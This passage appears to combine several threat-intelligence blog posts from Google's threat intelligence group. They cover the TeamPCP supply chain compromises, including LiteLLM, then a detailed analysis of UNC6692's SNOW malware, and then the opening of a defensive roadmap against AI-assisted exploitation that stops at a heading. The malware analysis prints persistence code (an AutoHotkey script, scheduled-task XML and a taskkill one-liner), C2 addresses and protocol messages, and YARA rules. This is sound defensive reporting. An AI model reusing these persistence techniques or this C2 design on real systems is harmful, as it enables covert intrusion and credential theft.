In late March 2026, the cyber crime threat actor "TeamPCP" (aka UNC6780) claimed responsibility for multiple supply chain compromises of popular GitHub repositories and associated GitHub Actions, including those associated with the Trivy vulnerability scanner, Checkmarx, LiteLLM, and BerriAI. Mandiant responded to numerous incident response engagements associated with this activity, highlighting the wide-impact nature of supply chain operations.

TeamPCP gained initial access through compromised PyPI packages and malicious pull requests to these GitHub repositories. The threat actor subsequently leveraged their access to these GitHub repositories to embed the SANDCLOCK credential stealer and extract high-value cloud secrets, such as AWS keys and GitHub tokens, directly from affected build environments. These stolen credentials were then monetized through partnerships with ransomware and data theft extortion groups.

The compromise of LiteLLM, an AI gateway utility for integrating multiple LLM providers is noteworthy. It highlights the expanding attack surface of AI platforms and the potential for impact across the software supply chain. Given the package's widespread use, this incident could lead to considerable exposure of AI API secrets from affected victims, which could be used to gain further access to systems for traditional intrusion operations. 

Moreover, similar attacks against AI-related dependencies could grant attackers access to unique AI systems, allowing them to conduct novel AI-centric attacks and leverage them in support of traditional intrusion operations. Attackers could leverage this vector not only to pivot to enterprise infrastructure for traditional financially motivated operations (e.g., data theft and ransomware) but also to directly facilitate their operations using AI systems. For example, threat actors with access to an organization’s AI systems could leverage internal models and tools to identify, collect, and exfiltrate sensitive information at scale or perform reconnaissance tasks to move deeper within a network. While the level of access and particular use depends heavily on the organization and the specific compromised dependency, this case study demonstrates the broadened landscape of software supply chain threats to AI systems.

Building AI Safely and Responsibly

We believe our approach to AI must be both bold and responsible. That means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. 

Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users, and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. These changes, which can be made to both our classifiers and at the model level, are essential to maintaining agility in our defenses and preventing further misuse.

Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities and creates new evaluation and training techniques to address misuse. In conjunction with this research, Google DeepMind has shared how they're actively deploying defenses in AI systems, along with measurement and monitoring tools, including a robust evaluation framework that can automatically red team an AI vulnerability to indirect prompt injection attacks. 

Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, red teaming to test and secure AI systems, and our comprehensive prompt injection approach.

Working closely with industry partners is crucial to building stronger protections for all of our users. To that end, we're fortunate to have strong collaborative partnerships with security experts via the Coalition for Secure AI (CoSAI) and numerous researchers. We appreciate the work of these researchers and others in the community to help us red team and refine our defenses.

Google also continuously invests in AI research, helping to ensure AI is built responsibly, and that we're leveraging its potential to automatically find risks. Last year, we introduced Big Sleep, an AI agent developed by Google DeepMind and Google Project Zero, that actively searches and finds unknown security vulnerabilities in software. Big Sleep has since found its first real-world security vulnerability and assisted in finding a vulnerability that was imminently going to be used by threat actors, which GTIG was able to cut off beforehand. We're also experimenting with AI to not only find vulnerabilities, but also patch them. We recently introduced CodeMender, an experimental AI-powered agent using the advanced reasoning capabilities of our Gemini models to automatically fix critical code vulnerabilities.

About the Authors

Google Threat Intelligence Group focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed actors, targeted zero-day exploits, coordinated IO, and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Appendix

MITRE ATLAS

MITRE ATT&CK

Written by: JP Glab, Tufail Ahmed, Josh Kelley, Muhammad Umair

Introduction 

Google Threat Intelligence Group (GTIG) identified a multistage intrusion campaign by a newly tracked threat group, UNC6692, that leveraged persistent social engineering, a custom modular malware suite, and deft pivoting inside the victim’s environment to achieve deep network penetration. 

As with many other intrusions in recent years, UNC6692 relied heavily on impersonating IT helpdesk employees, convincing their victim to accept a Microsoft Teams chat invitation from an account outside their organization. The UNC6692 campaign demonstrates an interesting evolution in tactics, particularly the use of social engineering, custom malware, and a malicious browser extension, playing on the victim’s inherent trust in several different enterprise software providers. 

Threat Details

In late December 2025, UNC6692 conducted a large email campaign designed to overwhelm the target with messages, creating a sense of urgency and distraction. Following this, the attacker sent a phishing message via Microsoft Teams, posing as helpdesk personnel offering assistance with the email volume.

Infection Chain

The victim was contacted through Microsoft Teams and was prompted to click a link to install a local patch that prevents email spamming. Once clicked, the user’s browser opened an HTML page and ultimately downloaded a renamed AutoHotKey binary and an AutoHotkey script, sharing the same name, from a threat actor-controlled AWS S3 bucket.

"url": "https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com",
"description": "Microsoft Spam Filter Updates | Install the local patch to protect your account from email spamming",

Figure 1: Snippet from MS Team Logs

If the AutoHotkey binary is named the same as a script file in its current directory, AutoHotkey will automatically run the script with no additional command line arguments. Evidence of AutoHotKey execution was recorded immediately following the downloads resulting in initial reconnaissance commands and the installation of SNOWBELT, a malicious Chromium browser extension (not distributed through the Chrome Web Store). Mandiant was unable to recover the initial AutoHotKey script. 

The persistence of SNOWBELT was established in multiple ways. First, a shortcut to an AutoHotKey script was added to the Windows Startup folder, which verified SNOWBELT was running and that a Scheduled Task was present.

if !CheckHeadlessEdge(){
   try{
      taskService:=ComObject("Schedule.Service")
      taskService.Connect()
      rootFolder:=taskService.GetFolder("\")
      if FindAndRunTask(rootFolder){
         Sleep 10000
         if CheckHeadlessEdge(){
         ExitApp
         }
      }
   }
   Run 'cmd /c start "" "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\System Data" --headless=new --load-extension="%LOCALAPPDATA%\Microsoft\Edge\Extension Data\SysEvents" --no-first-run',,"Hide"
}
ExitApp

Figure 2: Snippet from AutoHotKey script to verify SNOWBELT was running and to start it if not

Second, two additional scheduled tasks were installed. One task to start a windowless Microsoft Edge process that loads the SNOWBELT extension and another to identify and terminate Microsoft Edge processes that do not have CoreUIComponents.dll loaded.

<Exec>
    <Command>
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    </Command>
    <Arguments>
       --user-data-dir="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\System Data"  
       --no-first-run   
       --load-extension="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents"   
       --headless=new --disable-sync
    </Arguments>
</Exec>

Figure 3: Snippet from the scheduled task to start the SNOWBELT extension windowless Microsoft Edge

Microsoft Edge processes without CoreUIComponents.dll are typically headless. The threat actor uses this command to essentially “clean up” headless Edge processes that execute their malware.

<Exec>
    <Command>cmd</Command>
    <Arguments>
    /c "for /f "tokens=2" %p in ('tasklist /M SHELL32.dll ^| findstr "msedge.exe"') do @(tasklist /M CoreUIComponents.dll | findstr "%p" >nul || taskkill /F /PID %p)"
    </Arguments>
</Exec>

Figure 4: Snippet from the scheduled task to check for CoreUIComponents.dll

Using the SNOWBELT extension, UNC6692 downloaded additional files including SNOWGLAZE, SNOWBASIN, AutoHotkey scripts, and a ZIP archive containing a portable Python executable and required libraries.

Internal Recon and Lateral Movement

After gaining initial access, process execution telemetry recorded UNC6692 using a Python script to scan the local network for ports 135, 445, and 3389. Following internal port scanning, the threat actor established a Sysinternals PsExec session to the victims system via the SNOWGLAZE tunnel, and executed commands to enumerate local administrator accounts. Using the local administrator account, the threat actor initiated an RDP session via the SNOWGLAZE tunnel from the victim system to a backup server. Though not directly observed, the threat actor may have acquired the local administrator accounts credentials via multiple attack paths such as authenticated Server Message Block (SMB) share enumeration.

Escalate Privileges

After gaining access to the backup server the threat actor utilized the local administrator account to extract the system's LSASS process memory with Windows Task Manager. Microsoft Windows Local Security Authority Subsystem Service (LSASS) process lsass.exe enforces security policy and contains usernames, passwords and hashes for accounts that have accessed the system. After extracting the process memory, UNC6692 exfiltrated it via LimeWire. With the process memory out of the victim environment UNC6692 is able to use offensive security tools to extract the credentials while not having to worry about being detected. 

Complete Mission

Now armed with the password hashes of elevated users, UNC6692 used Pass-The-Hash to move laterally to the network's domain controllers. Pass-The-Hash is a common technique used by threat actors where the NTLM hash is passed to another system, instead of providing the account password, allowing for authentication via NTLM. Once authenticated to the Domain Controller, the threat actor opened Microsoft Edge, and downloaded a ZIP archive containing FTK Imager to the Domain Administrator’s \Downloads folder. The threat actor executed FTK Imager and mounted the local storage drive. Subsequently, FTK Imager wrote the Active Directory database file (NTDS.dit), Security Account Manager (SAM) , SYSTEM, and SECURITY registry hives to the \Downloads folder. The extracted files were then exfiltrated from the network via LimeWire. Finally, EDR telemetry logged the threat actor performing screen captures on the Domain Controllers, specifically targeting in-focus instances of Microsoft Edge and FTK Imager.

THE SNOW Ecosystem

Phishing Landing Page

The original phishing link (https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com) delivered via Microsoft Teams directs the victim to a landing page masquerading as a "Mailbox Repair Utility." This interface is designed to elicit user engagement through various on-screen buttons.

Phase 1: Environment Enforcement and Anti-Analysis

The attacker used a gatekeeper script designed to ensure the payload is delivered only to intended targets while evading automated security sandboxes. Upon loading, the landing page executes an init() function that inspects the URL for a mandatory ?email= parameter. If this parameter is absent, the page immediately redirects to about:blank. 

The script also checks the victim’s browser. If the user is not using Microsoft Edge, the page displays a persistent overlay warning. This forces the user to click an "Open in Edge" button, which triggers the microsoft-edge: URI scheme. This ensures the victim is moved from potentially secure mobile or third-party browser environments into a specific workspace where the attacker’s exploits are most effective.

Phase 2: Credential Harvesting via Social Engineering

Once the environment is established, the page presents a professional-looking "Configuration Management Panel" masquerading as an official "Mailbox Repair and Sync Utility." The primary hook is a "Health Check" button that, when clicked, triggers an "Authentication Required" modal.

The harvesting script, handleAuthFormSubmit, employs a "double-entry" psychological trick. It is programmed to reject the first and second password attempt as incorrect. This serves two functions: it reinforces the user’s belief that the system is legitimate and performs real-time validation, and it ensures that the attacker captures the password twice, significantly reducing the risk of a typo in the stolen data. A screenshot of authentication is shown in Figure 7, and the email supplied is entered by default.

Phase 3: Data Exfiltration and Distraction Sequences

Upon successful submission, the script executes an asynchronous PUT request using AWS URLs. The validated credentials and metadata are uploaded directly to an attacker-controlled Amazon S3 bucket (e.g., service-page-18968-2419-outlook.s3.us-west-2.amazonaws.com), which have since been taken down. These buckets serve as the command and control (C2) infrastructure and represent critical indicators of compromise (IOCs).

To mask this background activity and prevent user suspicion, the script initiates a startProgressBar function. This displays a scripted distraction sequence featuring fake technical tasks such as "Parsing configuration data" and "Checking mailbox integrity." This manipulation keeps the victim engaged until the data transfer is complete.

Phase 4: Malware Staging and Endpoint Foothold

The final stage involves the delivery of secondary malicious payloads referenced within the CONFIG object of the script. While the progress bar runs, the site is prepared to deliver files seen in Table 1.

By the time the user receives a "Configuration completed successfully" message, the attacker has secured the credentials and potentially established a persistent foothold on the endpoint using these staged files.

The SNOW malware ecosystem, attributed to the threat cluster UNC6692, operates as a modular ecosystem comprising three primary components: SNOWBELT, SNOWGLAZE, and SNOWBASIN. Rather than functioning as isolated tools, these components form a coordinated pipeline that facilitates an attacker's journey from initial browser-based access to the internal network of the organization.

1.SNOWBELT (Browser Extension)

SNOWBELT serves as the initial foothold and the primary "eyes" of the operation. It is a JavaScript-based backdoor delivered as a Chromium browser extension, often masquerading under names like "MS Heartbeat" or "System Heartbeat".  Rather than being available through the Chrome Web Store, the extension is deployed through social engineering tactics.

• Role: It is designed to intercept commands and send them to SNOWBASIN for execution . It maintains persistence via the browser's extension registration system and uses Service Worker Alarms and Keep-Alive Tab Injection (via helper.html) to ensure it remains active whenever the browser is running.

• Functionality: By relaying commands from the threat actor to SNOWBASIN, SNOWBELT provides authenticated access to the environment. This allows the attacker to move laterally and escalate privileges without the need for constant re-authentication.

2.SNOWGLAZE (Python Tunneler)

Once a foothold is established, SNOWGLAZE is deployed to manage the logistics of external communication. SNOWGLAZE is a Python-based tunneler that can operate in both Windows and Linux environments.

• Role: Its primary function is to create a secure, authenticated WebSocket tunnel between the victim's internal network and the attacker's command-and-control (C2) infrastructure, such as a Heroku subdomain. It facilitates SOCKS proxy operations, allowing arbitrary TCP traffic to be routed through the infected host.

• Functionality: SNOWGLAZE masks malicious traffic by wrapping data in JSON objects and Base64 encoding it for transfer via WebSockets. This makes the activity appear as standard encrypted web traffic. When attackers wish to interact with backdoors like SNOWBASIN or exfiltrate staged data, traffic is routed through this established tunnel.

3.SNOWBASIN (Python Bindshell)

While SNOWBELT monitors the user and SNOWGLAZE bridges the network gap, SNOWBASIN provides the functional interactive control over the infected system.

• Role: It acts as a persistent backdoor that operates as a local HTTP server (typically listening on port 8000). It enables remote command execution via cmd.exe or powershell.exe, screenshot capture, and data staging for exfiltration.

• Functionality: This component is where active reconnaissance and mission completion occur. Attacker commands (such as whoami or net user) are sent through the SNOWGLAZE tunnel, intercepted by the SNOWBELT extension, and then proxied to the SNOWBASIN local server via HTTP POST requests. SNOWBASIN executes these commands and relays the results back through the same pipeline to the attacker.

Malware Analysis 

SNOWBELT

SNOWBELT is a JavaScript-based backdoor implemented as a Chromium browser extension. Its lifecycle begins with the execution of the background.js Service Worker upon installation, which leverages the browser's extension registration system for persistence. To ensure continuous operation while the browser is active, the malware utilizes Service Worker Alarms (agent-heartbeat) and Keep-Alive Tab Injection (helper.html).

Upon initialization, the malware generates a unique identity using the prefix fp-sw- followed by a UUID. It then employs a time-based DGA to calculate C2 URLs. Using a hard-coded seed value (691f7258f212fa8908a8bf06bcf9e027d2177276e13e10ff56bd434ff3755cc4), it generates a registry URL for an S3 bucket within 30-minute time slots. These URLs follow a specific structural pattern:

• https://[a-f0-9]{24}-[0-9]{6,7}-{0-9}{1}.s3.us-east-2.amazonaws[.]com

The manifest retrieved from this registry is decrypted via AES-GCM using a key derived from SHA256(SEED + "|" + timeslot).

For low-latency C2, SNOWBELT registers with the browser's Push Notification service. This is achieved using a hard-coded VAPID Public Key:

BJkWCT45mL0uvV3AssRaq9Gn7iE2N7Lx38ZmWDFCjwhz0zv0QSVhKuZBLTTgAijB12cgzMzqyiJZr5tokRzSJu0

This setup provides an asynchronous channel that allows attackers to "wake up" the Service Worker immediately via authenticated Push messages, bypassing standard polling. Additionally, the malware supports real-time interaction through a persistent REGISTRY_WEBSOCKET_URL connection.

SNOWBELT functions in coordination with SNOWBASIN, a backdoor acting as a local web server (typically on port 8000). It relays decrypted C2 commands—such as command, buffer, flush, and commit—to SNOWBASIN via HTTP POST requests, effectively proxying shell commands to the host system.

The malware also includes mechanisms to bypass the browser sandbox:

1. Native Host Bridge (open_native_messaging): Uses chrome.runtime.connectNative to establish I/O pipes with local applications for issuing privileged commands.

2. Protocol Handler Abuse (open_uri): Employs dream.html and dream.js to trigger custom URI schemes in new tabs, targeting vulnerabilities in third-party desktop applications.

Exfiltration is managed by the sendJsonDataToS3 function, which encrypts data with AES-GCM (Key: SHA256(SEED + "|ping|" + bucket + "|" + objectKey)) before uploading to S3. The backdoor's command set is summarized in Table 2.

Finally, SNOWBELT implements a feedback loop by monitoring chrome.downloads.onChanged. If a download is blocked (e.g., FILE_VIRUS_INFECTED), the malware reports the error back to the S3-based C2.

SNOWBASIN 

SNOWBASIN is a Python-based backdoor that operates as a local HTTP server on ports 8000, 8001, or 8002. Its core capabilities include command execution, screenshot capture, and data exfiltration. The malware also enables operators to manage files by downloading or deleting them, and it provides the capability to terminate active connections. SNOWBELT relays commands to this malware by sending HTTP requests to localhost:8000.

It turns the victim's computer into a command-and-control (C2) node that can be controlled via HTTP requests. It is designed to run on Windows (evidenced by os.chdir('C:\\') and cmd.exe calls) and allows a remote actor to execute commands, steal files, and take screenshots.

SNOWGLAZE

The network tunneler SNOWGLAZE, developed in Python, facilitates the routing of arbitrary TCP traffic through a compromised system by establishing a WebSocket connection to a static C2 host using hard-coded credentials.

The script is designed for cross-platform execution on both Windows and Linux, utilizing environment-specific behaviors for each. In Windows environments, it runs as a foreground process manageable via standard keyboard interrupts (Ctrl-C). Conversely, on Linux, it operates as a background daemon and includes specific logic to handle SIGINT and SIGTERM signals for orderly shutdowns.

To establish communication, the malware targets the C2 server at wss://sad4w7h913-b4a57f9c36eb[.]herokuapp[.]com:443/ws, masquerading its traffic with a Microsoft Edge User-Agent string. If the initial connection fails, the script employs an incremental backoff strategy, starting at 5 seconds and increasing by 5-second intervals up to a 300-second maximum. Upon a successful WebSocket handshake, it transmits the following Auth payload:

{
    "type": "auth",
    "login": "<redacted",
    "password": "<redacted",
    "uuid": "<redacted>"
}

Following authentication, the script sends a "register" type message with no payload, followed by an "agent_info" JSON record. Although the "info" field within this record is intended to carry the public IP address, it remains unpopulated due to improper implementation in the script.

Once fully connected, the malware listens for JSON-formatted commands. The supported "type" values include:

• ping

• Prompts the script to return a "type": "pong" JSON object.

• agent_public_ip

• Intended to report the host's public IP via an agent_info structure; however, the IP field is consistently blank in current versions.

• socks_connect

• Requests a new SOCKS proxy connection using a unique conn_id provided by the operator to track the session. The request format is as follows:

{
    "type": "socks_connect",
    "conn_id": "<unique_connection_id>",
    "target_host": "example.com",
    "target_port": 80
}

• • Execution triggers an asynchronous worker thread that manages the TCP-to-WebSocket data transfer, utilizing Base64 encoding and JSON encapsulation with the socks_data type.

• socks_data

  • Facilitates bidirectional data exchange between the WebSocket and the TCP socket. Data is Base64-encoded within the data field of the following structure:

    {
        "type": "socks_data",
        "conn_id": "<unique_connection_id>",
        "data": "bG9yZW0gaXBzdW0=" 
    }

• socks_close

• Terminates the specific proxy stream identified by the given conn_id.

• disconnect

• Serves all active proxy connections and terminates script execution.

Outlook & Implications

The UNC6692 campaign demonstrates how modern attackers blend social engineering and technical evasion to gain a foothold into environments. A critical element of this strategy is the systematic abuse of legitimate cloud services for payload delivery and exfiltration, and for command-and-control (C2) infrastructure. By hosting malicious components on trusted cloud platforms, attackers can often bypass traditional network reputation filters and blend into the high volume of legitimate cloud traffic. 

This "living off the cloud" strategy allows attackers to blend malicious operations into a high volume of encrypted, reputably sourced traffic, making detection based on domain reputation or IP blocking increasingly ineffective. Defenders must now look beyond process monitoring to gain clear visibility into browser activity and unauthorized cloud traffic. As threat actors continue to professionalize these modular, cross-platform methodologies, the ability to correlate disparate events across the browser, local Python environments, and cloud egress points will be critical for early detection.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying the activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

Network Indicators

File Indicators

YARA Rules

SNOWGLAZE

rule G_Tunneler_SNOWGLAZE_1 {
  meta:
   author = "Google Threat Intelligence Group (GTIG)"
   platforms = "Windows, Linux"

  strings:
    $r1 = /\.connect\(\s{0,25}WS_PROXY_URL/
    $r2 = /"data":\s{0,1}base64\.b64encode\(\w{1,10}\)\.decode\('ascii'\)/
    $r3 = /"type":\s{0,1}"socks_data"/
    $r4 = /await\s{0,1}reader\.read\(\d{2,4}\)/
    $r5 = /"login":\s{0,1}AGENT_LOGIN/
    $r6 = /"password":\s{0,1}AGENT_PASSWORD/
    $r7 = /"uuid":\s{0,1}AGENT_UUID/
    
    $s1 = ".socks_tcp_to_ws"

  condition:
    5 of ($r*)
    and $s1
}

SNOWBELT

rule G_Backdoor_SNOWBELT_1 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
        platform = "Windows"
    
	strings:
		$str1 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"decrypt\"])"
		$str2 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"encrypt\"])"
		$str3 = "sendJsonDataToS3"
		$str4 = "processCommand"
		$str5 = "\"screenshot\"===cmdType"
		$str6 = "\"payload\"===cmdType"
		$str7 = "\"websocket_control\"===cmdType"
		$str8 = "\"open_uri\"===cmdType"
		$str9 = "\"delete_cache\"===cmdType"
		$str10 = "\"payload_download_complete\""
		$str11 = ".s3.us-east-2.amazonaws.com/"
	condition:
		all of them
          
}

SNOWBASIN

rule G_Backdoor_SNOWBASIN_1 {
  meta:
    author = "Google Threat Intelligence Group (GTIG)"
    platform = "Windows"

  strings:
    $path1 = "self.path == '/probe':"
    $path2 = "self.path == '/stream':"
    $path3 = "self.path == '/buffer':"
    $path4 = "self.path == '/flush':"
    $path5 = "self.path == '/commit':"
    $path6 = "self.path == '/capture':"
    $path7 = "self.path == '/gc':"

    $func1 = "self.handle_stream("
    $func2 = "self.handle_buffer("
    $func3 = "self.handle_flush("
    $func4 = "self.handle_commit("

    $s1 = "self.wfile.write(info_msg"
    $s2 = "selected_port), WebServerHandler) as httpd:"
    $s3 = "ThreadedTCPServer(socketserver.ThreadingMixIn"
    $s4 = "httpd.serve_forever()"


  condition:
    filesize<1MB and (
      (all of ($s*) and 6 of ($path*, $func*)) or
      (8 of ($path*, $func*)) or
      10 of them
    )
}

MITRE ATT&CK

Acknowledgements

This analysis would not have been possible without the assistance from several individuals within Mandiant Consulting, Google Threat Intelligence Group and FLARE who helped with analysis and reviewing this blog post. We also appreciate Amazon for their collaboration against this threat.

Introduction 

Advances in AI model-powered exploitation have demonstrated that general-purpose AI models can excel at vulnerability discovery, even without being purpose-built for the task. Eventually, capabilities such as these will be integrated directly into the development cycle, and code will be more difficult to exploit than ever; however, this transition creates a critical window of risk. As we harden existing software with AI, threat actors will use it to discover and exploit novel vulnerabilities.

Faced with this scenario, defenders have two critical tasks: hardening the software we use as rapidly as possible, and preparing to defend systems that have not yet been hardened.

As noted in Wiz’s blog post, Claude Mythos: Preparing for a World Where AI Finds and Exploits Vulnerabilities Faster Than Ever, now is the time to strengthen playbooks, reduce exposure, and incorporate AI into security programs. The following blog provides an overview of the evolving attack lifecycle, how threat actors will weaponize these capabilities, and a roadmap for modernizing enterprise defensive strategies.

aside_block

<ListValue: [StructValue([('title', 'Webinar: Defending Your Enterprise When AI Models Can Find Vulnerabilities Faster Than Ever'), ('body', <wagtail.rich_text.RichText object at 0x7f65bba10fd0>), ('btn_text', 'Register now'), ('href', 'https://www.brighttalk.com/webcast/18282/666651?utm_source=gcs-blog&utm_medium=blog&utm_campaign=mythos'), ('image', None)])]>

Exploits in the Adversary Lifecycle

Historically, the discovery of novel vulnerabilities and the subsequent development of zero-day exploits required significant time, specialized human expertise, and resources. Today, highly capable AI models are increasingly demonstrating the ability to not only identify vulnerabilities but also help generate functional exploits, lowering the barrier to entry for threat actors. Continued advancements in these capabilities will increasingly make exploit development achievable for threat actors of all skill levels, significantly compressing the attack timeline. GTIG has already observed threat actors leveraging LLMs for this purpose as well as the marketing of this capability within AI tools and services advertised in underground forums.

A significant shift in the economics of zero-day exploitation will enable mass exploitation campaigns, ransomware and extortion operations, and an increased volume of activity from actors who previously guarded these capabilities and used them sparingly.

Accelerated exploit deployment is a trend we’ve already been observing among advanced adversaries. In our 2025 Zero-Days in Review report, we noted that PRC-nexus espionage operators have become increasingly adept at rapidly developing and distributing exploits among otherwise separate threat groups. This has significantly shrunk the historical gap between public vulnerability disclosure and widespread mass exploitation, a trend we expect to continue.

This evolving landscape will almost certainly result in meaningful shifts over the coming year:

Scaling Defenses for Machine-Speed Threats

We have long anticipated that AI models would become capable of vulnerability discovery—which is why we’ve been using AI tools like Big Sleep, CodeMender, and OSS-Fuzz to proactively find and fix vulnerabilities over the years.

Now as threat actors leverage AI to significantly multiply their offensive output, enterprise defenders cannot rely on human-speed patching protocols to keep up. When organizations are confronted with an AI-enabled surge in vulnerabilities, traditional security tooling and manual triage will fail to keep pace.

Attempting to absorb this exponential increase in workload using legacy processes will result in severe overload and burnout for security and development teams. The question is no longer just about proactive scanning and adherence to traditional patching SLAs; it is about whether organizations are empowering their workforce with the automation needed to eliminate manual toil. To prepare for this reality, organizations must integrate AI defensively, shifting the role of the security practitioner from manual investigator to strategic coordinator.

A Modern, AI-Integrated Defensive Roadmap

In order to modernize the traditional vulnerability roadmap, organizations must incorporate automation and prioritize resilience. 

Organizations are no longer defending against purely human-speed exploitation. AI-enabled adversaries can identify, chain, and weaponize weaknesses faster than traditional vulnerability management programs were designed to respond. A modern roadmap should therefore emphasize automation, resilience, and continuous validation.

This roadmap is organized in two parts. The first outlines advanced modernization priorities for organizations that are ready to evolve their security programs to achieve defense at AI enabled speeds. The second provides foundational guidance for organizations that are still building core vulnerability management capabilities.

Advanced Modernization Priorities

Secure Your Code 

Organizations have historically focused on patching and securing tangible assets like laptops, servers, and network infrastructure. In today’s threat landscape, that same discipline must be applied to source code, code libraries, and the systems used to build and deploy it.

Code repository platforms should be tightly protected and accessible only through trusted internal networks, managed identities, or other strongly controlled access paths. Organizations should proactively scan for secrets within their codebase that may be weaponized by adversaries and eliminate any practice of storing sensitive credentials in plaintext.

Similarly, organizations are still accountable for vulnerable code from their supply chains, and they must proactively plan for and defend against attacks through exploitation of compromised code libraries. This creates a conflict with updating versions and repositories immediately against holding onto known and trusted versions.

Accordingly, security controls should cover build runners, CI/CD pipelines, and other automated execution mechanisms, which are increasingly attractive targets for threat actors. AI-enabled scanning tools can help teams detect critical vulnerabilities faster and uncover groups of weaknesses that may appear minor on their own but could be chained together for exploitation. 

Organizations should leverage frameworks like Wiz SITF to map their SDLC threat model and identify "attack chains" where minor, isolated weaknesses are combined by AI to create a critical breach. Additionally, one-time static or dynamic scanning is no longer sufficient. Organizations should deploy emerging commercial and open-source agentic solutions to review code and mitigate flaws before they can be exploited. 

Move to Automated Security Operations

Traditional dashboards and static detection rules will struggle under the volume of automated attacks. Security operations need to become more dynamic, with a clear path toward an agentic SOC.

Legacy models are often reactive and constrained by manual workflows, By deploying specialized AI agents such as Google Cloud’s Triage and Investigation Agent and Gemini in Google Security Operations, teams can automate alert triage, analyze suspicious code without manual reverse engineering, correlate signals across multiple tools, and generate response playbooks in real time. This allows analysts to spend less time on repetitive investigation and more time on high-value decisions, helping the SOC respond to AI-enabled attacks at AI speed.

Reduce Attack Surface 

Organizations should design networks with a zero trust approach and focus first on reducing exposure across internet-facing systems, critical infrastructure, control planes, and trusted service infrastructure. 

Network segmentation and identity-based access controls should be in place so that if an edge device is compromised through a zero-day exploit, the blast radius is limited and easier to contain.

Maintain Continuous Asset Discovery and Posture Management

Unidentified assets are a major blindspot for organizations and a critical weakness that AI-enabled threat actors are able to exploit with increasing efficiency. Static spreadsheets and manual asset tracking are no longer a viable and scalable strategy.

Security teams need a continuously updated, automated inventory covering endpoints, servers, public-facing systems, network infrastructure, AI systems, cloud environments and ephemeral assets like Kubernetes pods. Dynamic asset discovery is critical for reducing blind spots and shadow AI. The more seamlessly known assets can be fed into downstream security tooling, the more accurate and effective frontline detection and response will be.

Expand Automated Scanning Coverage

Automated vulnerability scanning should cover every major operating system in use, including Windows, macOS, and Linux, across both endpoints and servers.

Reduce blind spots and maintain continuous, comprehensive visibility into vulnerabilities. Where possible, that visibility should feed directly into automated remediation pipelines.

Enhance Network Device Patching and Limit Connectivity

Organizations need a highly automated, repeatable process for identifying missing firmware and security updates on network devices and for scheduling maintenance efficiently. Network infrastructure has long been a preferred target for sophisticated threat actors, and AI will only accelerate the discovery of weaknesses in these often-overlooked systems.

Organizations should use perimeter controls to block unnecessary outbound connections from internal network devices. Any attempt by those devices to communicate externally should be investigated to determine whether it is required for normal operations or signals something more concerning. Proactively, organizations should baseline what outbound connections are normal, in order to alert against anomalies.

Formalize Emergency Remediation SLAs

AI may help accelerate patching, but emergency response still depends on clear human processes.

Organizations should define remediation SLAs based on severity, exposure, and asset criticality, and those expectations should be aligned across security, IT, and business stakeholders. When a vulnerability is being actively exploited in the wild, teams need a pre-approved, low-friction process to apply temporary mitigations, such as restricting public access or isolating affected systems, while permanent fixes are validated. Extremely critical business processes should each have secondary systems that can deliver the same objectives with different underlying technology. By having alternatives and fall backs for these processes, organizations give themselves more options to address emergency remediation while minimizing potential business disruption.

Secure AI Agents and Implement SAIF

As organizations deploy AI agents, they also create a new attack surface that must be protected.

Organizations should adopt frameworks such as Google’s Secure AI Framework (SAIF) to guide the secure deployment of AI models and applications. Tools like Google Cloud Model Armor or similar industry solutions can also serve as a protective layer for large language model environments by screening inputs and outputs for prompt injection, jailbreak attempts, and Google Cloud Sensitive Data Protection can prevent sensitive data leakage. Locking down connections that AI systems can establish such as MCP, with fine grained IAM roles is critical to prevent from insecure plugin use threats. 

Defensive AI systems cannot become another point of compromise, and they should be secured accordingly.

Foundational Vulnerability Management Priorities

Not every organization starts from the same baseline. The priorities above assume a relatively mature security program with established tooling, ownership, and operational capacity. For organizations with limited or inconsistent vulnerability management capabilities, the first step is to build a reliable foundation before pursuing advanced AI-enabled operating models.

The Current Reality of Vulnerability Management

Vulnerability management programs vary widely based on the maturity of an organization’s overall security program. In more mature environments, vulnerability management is highly automated: in-scope vulnerabilities are identified, routed to the appropriate IT, infrastructure, or application owners, and automatically validated once remediation is complete.

In less mature environments, the opposite is often true. Vulnerability management may be inconsistent, narrowly scoped, and focused primarily on the highest-profile zero-days. Tracking may still rely on local spreadsheets, systems may be overlooked, and even trusted service infrastructure assets such as Active Directory domain controllers may remain unpatched.

Such organizations need to immediately modernize and elevate their vulnerability management programs. Most organizations were already unable to remediate every vulnerability across their technology stack, and the rise of AI-enabled threats worsens that reality, increasing the urgency of building programs that are automated, measurable, tracked, and validated.

Achieving that outcome is challenging. It requires coordination across the three foundational pillars of any security program: people, process, and technology. A prioritized and phased approach is outlined as follows.

Foundation Step #1 — Baseline Current State

